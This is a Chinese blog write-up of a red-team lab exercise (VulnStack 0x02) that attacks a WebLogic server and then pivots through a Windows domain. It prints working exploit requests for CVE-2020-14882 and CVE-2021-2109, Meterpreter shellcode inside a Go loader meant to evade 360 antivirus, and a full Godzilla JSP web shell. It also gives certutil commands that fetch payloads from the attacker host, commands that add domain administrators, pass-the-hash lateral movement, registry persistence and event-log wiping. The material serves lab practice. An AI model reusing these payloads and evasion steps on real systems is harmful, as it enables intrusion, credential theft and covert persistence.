靶场复现 – VulnStack 0x02
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靶场复现 – VulnStack 0x02

之前都是似懂非懂,迷迷糊糊,全靠工具和试错才成功,这一次打算好好理理这部分的学习框架

描述

红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码：1qaz@WSX

  1. Bypass UAC
  2. Windows系统NTLM获取（理论知识：Windows认证）
  3. Access Token利用（MSSQL利用）
  4. WMI利用
  5. 网页代理，二层代理，特殊协议代理（DNS，ICMP）
  6. 域内信息收集
  7. 域漏洞利用：SMB relay，EWS relay，PTT(PTC)，MS14-068，GPP，SPN利用
  8. 域凭证收集
  9. 后门技术（黄金票据/白银票据/Sid History/MOF）

环境说明

内网网段：10.10.10.1/24

DMZ网段：192.168.111.1/24

测试机地址：192.168.111.1（Windows），192.168.111.11（Linux）

防火墙策略（策略设置过后，测试机只能访问192段地址，模拟公网访问）：

deny all tcp ports：10.10.10.1
allow all tcp ports：10.10.10.0/24

配置信息

DC

IP：10.10.10.10 OS：Windows 2012(64)

应用：AD域

WEB [登录可能会有问题]

需要注销用户,再登de1ay 、1qaz@WSX

IP1：10.10.10.80 IP2：192.168.111.80 OS：Windows 2008(64)

应用：Weblogic 10.3.6 MSSQL 2008

PC

IP1：10.10.10.201 IP2：192.168.111.130 OS：Windows 7(32)

应用：

攻击机

IP：192.168.111.128 OS：kali

环境配置

可以参考VulnStack域环境靶场渗透 | Wh0ale’s Blog,进行配置。

http://192.168.111.80:7001/console/login/LoginForm.jsp

image-20210303140200769

WEB : CVE-2020-14882

nmap 扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV 192.168.111.80                                                                                                     1 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-03 14:03 CST
Nmap scan report for 192.168.111.80
Host is up (0.0029s latency).
Not shown: 989 filtered ports
PORT      STATE SERVICE        VERSION
80/tcp    open  http           Microsoft IIS httpd 7.5
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2008 R2 10.50.4000; SP2
3389/tcp  open  ms-wbt-server?
7001/tcp  open  http           Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
MAC Address: 00:0C:29:CC:2A:A5 (VMware)
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.08 seconds

可以看到Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled),这里可以用CVE-2020-14882

测试 CVE-2020-14883

image-20210303141952838

poc.xml

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

poc-calc

http://192.168.111.80:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.111.128:8000/poc.xml")

结果如下:

image-20210303143813879

CS上线 [未开360]

修改poc.xml,下载poc.exe

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[certutil -urlcache -split -f http://192.168.111.128:8000/poc.exe C:/poc.exe]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

执行poc.exe

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![C:/poc.exe]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
image-20210303144823405
image-20210303154740664

这个方法因为会访问其他IP地址,而易被360检测到。

MSF [开360]

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.111.128 lport=23333 -f exe -o reverse_tcp.exe 
curl http://192.168.111.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.111.128:8000/poc.xml")
 
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.128
set LPORT 23333
run
image-20210304093301367

360检测到了。。。。

绕过 360 检测 [失败]

参考: 代码篇-Golang+Ruby

0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x48,0x01,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x5b,0x25,0xc0,0xa8,0x6f,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

				

					
				

				

					
				

				

					
				

				

					
				

			
package main
 
import (
    "io/ioutil"
    "os"
    "syscall"
    "unsafe"
)
 
const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)
 
var (
    kernel32       = syscall.MustLoadDLL("kernel32.dll")
    ntdll          = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc   = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory  = ntdll.MustFindProc("RtlCopyMemory")
    shellcode_buf = []byte{ 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x48,0x01,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x5b,0x25,0xc0,0xa8,0x6f,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
    }
)
 
func checkErr(err error) {
    if err != nil {
        if err.Error() != "The operation completed successfully." {
            println(err.Error())
            os.Exit(1)
        }
    }
}
 
func main() {
    shellcode := shellcode_buf
    if len(os.Args) > 1 {
        shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
        checkErr(err)
        shellcode = shellcodeFileData
    }
 
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        checkErr(err)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    checkErr(err)
    syscall.Syscall(addr, 0, 0, 0, 0)
}

之后go mod init test && go build

但当用上面的思路来传后门时,会发现无法下载。即使后门程序可以绕过检测(确实过了静态),但其下载过程还是会被检测,检测警告⚠分成cmd.exe执行、对未知链接访问、certutil下载过程.

这样的话,payload执行过程中不允许cmd执行,不能使用对未知链接访问和用certutil下载.

我们试试先用powershell试试,也还是被检测到。

image-20210304102619662

在terminal 直接使用wmic process call create "calc"也还是被检测到

image-20210304103206906

我裂开了。。。。。

但其他师傅用 CVE-2021-2109 可以绕过

CVE-2021-2109 [开360]

下载:

GitHub – feihong-cs/JNDIExploit: A malicious LDAP server for JNDI injection attacks

sudo java -jar JNDIExploit-v1.11.jar -i 192.168.111.128

poc

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.111.132:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=Kq9pgQFYNGvjkPSW1CGQTrLs6dc3pzb97xs4m8PY7GSVrVhcVrBd!1174372439
cmd: whoami
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
 
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.111;128:1389/Basic/WeblogicEcho;AdminServer%22)
image-20210304111101944

个人估计360是对com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext利用链有查杀,而对CVE-2021-2109还没有,但我估计之后应该也有。

这个shell,需要注意的是cmd：echo 1是不行的,只能cmd: cmd /c echo 1

获得目录地址

C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images

上传 哥斯拉

POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1
Host: 192.168.111.132:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=Kq9pgQFYNGvjkPSW1CGQTrLs6dc3pzb97xs4m8PY7GSVrVhcVrBd!1174372439
cmd:cmd /c echo ^<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%^>^<% try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%^> > C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
 
_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.111;128:1389/Basic/WeblogicEcho;AdminServer%22)

链接哥斯拉并执行后门(注意用weblogic,哥斯拉的权限有点低),http://192.168.111.132:7001/console/framework/skins/wlsconsole/images/shell.jsp

image-20210304145155172
image-20210304151400992

这个特别玄学,一会又变成了de1ay/de1ay权限

之后用同样的方法对cs生成的payload.c生成免杀exe,用BP发包执行C:/Oracle/Middleware/user_projects/domains/base_domain/cs.exe,这样将获得Administrator权限

小trike: 对于设备比较差的机子,可以通过爆破的方法,让WAF有时无法检测,从而使一些后门成为漏网之鱼,但要注意时间

image-20210305103927701

但这种方法也有问题,但你第二次使用Java 开启线程时,会被360拦截。

哥斯拉 – JMeterpreter

另起炉灶,用哥斯拉-JMeterpreter反弹shell

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lport 23334
set lhost 0.0.0.0
run
image-20210305145317358

de1ay\administrator

image-20210305121225405

之后再上线CS

image-20210305121312648

JMeterPreter 居然没有被360检测到,香,真滴香,有空看看哥斯拉是怎么实现的

后渗透 [开360]

Proxy

常用的方法有上传socks程序或利用框架,我这边选择CobaltSrikt开启代理

beacon> socks 7475
image-20210305125139336

同时可以用MSF链接代理

set Proxies socks4:127.0.0.1:7475
set ReverseAllowProxy true

信息收集

基本命令

1、获取当前组的计算机名(一般remark有Dc可能是域控)：

net view

2、查看所有域

net view /domain

3、从计算机名获取ipv4地址

ping -n 1 DC1 -4

4、查看域中的用户名

dsquery user
net user /domain

5、查询域组名称

net group /domain

6、查询域管理员

net group "Domain Admins" /domain

7、添加域管理员账号

添加普通域用户 
net user lemon iam@L3m0n /add /domain 
将普通域用户提升为域管理员 
net group "Domain Admins" lemon /add /domain

8、查看当前计算机名，全名，用户名，系统版本，工作站域，登陆域

net config Workstation

9、查看域控制器(多域控制器的时候,而且只能用在域控制器上)

net group "Domain controllers

10、查询所有计算机名称

dsquery computer 
下面这条查询的时候,域控不会列出 
net group "Domain Computers" /domain

11、net命令

①映射磁盘到本地

net use z: \\dc01\sysvol

②查看共享

net view \\192.168.0.1

③开启一个共享名为app$，在d:\config

net share app$=d:\config

12、跟踪路由

tracert 8.8.8.8

定位域控

1、查看域时间及域服务器的名

net time /domain

copy

2、ldap

Nslookup -type=SRV _ldap._tcp.

copy

3、通过ipconfig配置查找dns地址

ipconfig/all

copy

4、查询域控

net group "Domain Controllers" /domain

查看域网络信息

CobaltStrike [推荐]
beacon > net view
image-20210305121931258

端口扫描

image-20210305125935750

其中3个主机都开了3389和445

10.10.10.10:445 (platform: 500 version: 6.3 name: DC domain: DE1AY)
10.10.10.80:445 (platform: 500 version: 6.1 name: WEB domain: DE1AY)
10.10.10.201:445 (platform: 500 version: 6.1 name: PC domain: DE1AY)
MSF-Arp scan
image-20210305123526290
image-20210305123917144
Nmap扫描
image-20210305131352896

基础信息 – 哥斯拉

image-20210305122434124

提权与获取密码

MSF – 脚本提权 [失败]

开启360情况下内核溢出基本不行

因为本地开启360,无法使用getsystem

use post/multi/recon/local_exploit_suggester
set session 2 
run

虽然推荐的也都被360拦住。

Cobaltstrike

但在cobaltstrike(用户为 de1ay\administrator )上,可以直接hashdump和minikatz,

image-20210305132909994

很奇怪的一点是,de1ay\administrator 并没有域用户权限,对CobaltStrike具体如何做的感到好奇

有可能也是用来 Access Token

image-20210305133740524

本机管理员如下:
image-20210305134051991

最终获取的密码和hash如下:

image-20210305143203665

内核溢出提权在360开启环境下,会因为创建木马直接杀,甚至原来的session也会被干掉。

AccessToken的窃取与利用 – MSF下的incognito模块

成功添加域管理员用户 ,并creds_all

use incognito #加载incognito
list_tokens -u #列出AccessToken
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户，getsystem命令即实现了该命令。如果要模拟其他用户，将token名改为其他用户即可
rev2self #返回到之前的AccessToken权限
域内的话可以添加域用户并添加进域管理组进行敏感操作
add_user test fe1w0@WSX -h 10.10.10.10
add_group_user "Domain Admins" fe1w0 -h 10.10.10.10
image-20210305153517217
load kiwi
creds_all
image-20210305153635199

再执行CS木马

image-20210305160405432

横向移动 – PC

如今我们已经获取hash和管理员密码,我们可以上传远控,也可以HTH或HTT

IPC 上传后门 [成功]&& WMIC远程创建进程 [失败]

  • 创建路由
run get_local_subnets
run autoroute -s 10.10.10.0/24
  • 创建后门
msfvenom -p windows/meterpreter/bind_tcp  lpor=8896 -f c -o Desktop/payload.c
 
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT 8896
set RhOST 10.10.10.201
run
  • 上传
net use \\10.10.10.201\ipc$ "fe1w0@WSX" /user:"test"
copy C:\Oracle\Middleware\user_projects\domains\base_domain\201.exe \\10.10.10.201\c$
dir \\10.10.10.201\c$
image-20210305194518632
  • WMIC远程创建进程 [失败]
wmic /node:10.10.10.201 /user:test /password:fe1w0@WSX process call create "cmd.exe /c c:\201.exe"
image-20210305194239940
  • 添加计划 [失败,被检测]
at \\10.10.10.201 18:00:13 c:\201.exe
 
schtasks /create /s 10.10.10.201 /tn backdoor /sc minute /mo 1  /tr c:\201.exe /ru system /f
  • 创建Windows服务 [被拒绝]
sc \\PC create bindshell binpath= "c:\201.exe"
 
sc \\PC start bindshell
  • WMIRM [失败]
winrm quickconfig -q #启动
winrs -r:PC  -u:test -p:fe1w0@WSX "cmd.exe /c c:\201.exe" #执行
image-20210305201731588

因为DC上没有360,我们可以直接用psexec hash 传递

image-20210305205403881

很神奇的一件事是,当我尝试对PC psexec hash 传递,它居然成功了,在开启360的情况下。

image-20210305205823005

权限维持

注册表注入

启动时注册表后门

启动项键值路径

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

				

					
				

				

					
				

				

					
				

				

					
				

			
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:/Oracle/Middleware/user_projects/domains/base_domain/csTest.exe" /f
image-20210305210757084

MSF – persistence

image-20210305211137069

可惜还是被杀了

image-20210305211146596

其他方法 [还未测试]

权限维持之守护不死进程 (qq.com)

一种后渗透阶段权限维持方法 (qq.com)

Window下常见的权限维持方式 (qq.com)

痕迹清理 [转载]

红日安全ATT&CK靶场总结 | Shu1L’s blog

  • 获取日志分类列表：wevtutil el >1.txt
  • 获取单个日志类别的统计信息：wevtutil gli “windows powershell”
  • 查看指定日志的具体内容：wevtutil qe /f:text “windows powershell”
  • 删除单个日志类别的所有信息：wevtutil cl “windows powershell”
  • 破坏Windows日志记录功能
  • Invoke-Phant0m
  • Windwos-EventLog-Bypass
  • msf run clearlogs clearev

总结与问题

image-20210305211816244
  • 不懂之处:

为什么内核提权需要上传执行文件并且是怎么做到的,能否自己做免杀后再执行。还有Access Token 是如何窃取的。

对360防护的总结如下:

  • 对于下载操作和远程执行、计划等这些操作,360会杀,但不会拦截读写操作。
  • 对powershell检测严格
  • 当利用java漏洞开启新进程(CMD)时(如 cve- 2020-14883 && CVE-2021-2109 )时,有可能会被检测

对于cmd /c calc这些操作,360还是运行执行的

  • 对于免杀木马,执行操作时,若不是高危操作且被360警告的情况,木马会警告而不会被删
  • 对于CS和MSF生成的木马程序(若内核溢出提权等这些需要下载木马才执行的操作),360会直接杀掉生成木马,且会将上一级调用的程序也杀死。
  • 针对ms17-010,360有防护

但有师傅也有说,可以用ms17-010_cmd来执行

  • Access Token 窃取,360不杀。
  • 假定从web机开始发起,对于普通的横向转移(如添加远程任务这些),安装在WEB机上的360一般都会检测到,但CS用psexec进行Pass The Hash不会被检查到(此处产生一个问题,CS是如何用Psexec,且不被检测到),且被攻击机上的360也不会检测到。

windows 白名单 程序

  • 哥斯拉上的 JMeterpreter进行反弹时,不会被360检测到,此外冰蝎也是不会被检测到。
  • MSF: run vnc 会下载一个程序,若有360,一旦开启,木马直接被杀,所以千万不要手欠,截截桌面还是可行的。

此外还有一点比较迷惑,当MSF拥有NT Administrator 权限或CS拥有 de1ay/Administrator时,是如何做到dumphash和minikatz而不被360警告

差点忘了,当进入WEB机上后,可以将360强杀(可惜这次没有找到相关资料,用WMIC关闭360进程时显示成功,但很快又有新的360进程开启)。

之前,半凉一夏师傅在b站演示过强杀360,可惜的是没有说具体思路。

参考文档

VulnStack域环境靶场渗透 | Wh0ale’s Blog

windows/Linux文件下载方式汇总 – 先知社区 (aliyun.com)

域渗透总结 | Wh0ale’s Blog

Windows常见提权总结 – FreeBuf网络安全行业门户

评论

  1. 迷
    迷弟
    2021-9-18
    2021-9-18 14:02:12

    太强了

    • f
      fe1w0
      博主
      迷弟
      2021-9-19
      2021-9-19 10:21:43

      (ó﹏ò｡) 别骂了别骂了

  4. 小
    小菜鸟
    2021-12-13
    2021-12-13 22:44:01

    请问一下web渗透那一块，哥斯拉拿shell给msf后，怎么传给cs呢

    • fe1w0
      博主
      小菜鸟
      2022-1-12
